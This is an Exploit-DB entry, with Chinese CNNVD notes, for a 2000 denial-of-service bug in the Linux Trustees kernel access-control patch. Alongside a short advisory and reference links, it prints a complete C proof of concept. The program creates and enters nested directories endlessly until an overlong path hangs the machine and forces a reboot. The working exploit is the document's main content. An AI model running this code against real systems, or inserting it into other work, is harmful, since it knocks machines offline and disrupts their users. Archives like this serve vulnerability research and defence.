https://www.exploit-db.com/exploits/19837
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200004-015

TheLinuxtrusteeskernel路径存在漏洞，攻击者可以通过使用超长名访问文件或目录来触发拒绝服务。

source: http://www.securityfocus.com/bid/1096/info

Bray Systems Linux Trustees is an access control program which manages user permissions similar to implementations of Netware. Requesting an unusually long file or directory path will cause the application to hang. Other processes may also be affected. In order to regain normal functionality, the user must reboot the machine.

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>

int main(void)
{

while(1) {
	if(mkdir("aaaa",0777)<0) {
		perror("mkdir");
		exit(1);
		}
	if(chdir("aaaa")<0) {
		perror("chdir");
		exit(1);
		}
	}

return(0);
}

来源:www.braysystems.com
链接:http://www.braysystems.com/linux/trustees.html
来源:BID
名称:1096
链接:http://www.securityfocus.com/bid/1096
来源:BUGTRAQ
名称:20000410linuxtrustees1.5longpathnamevulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-04/0035.html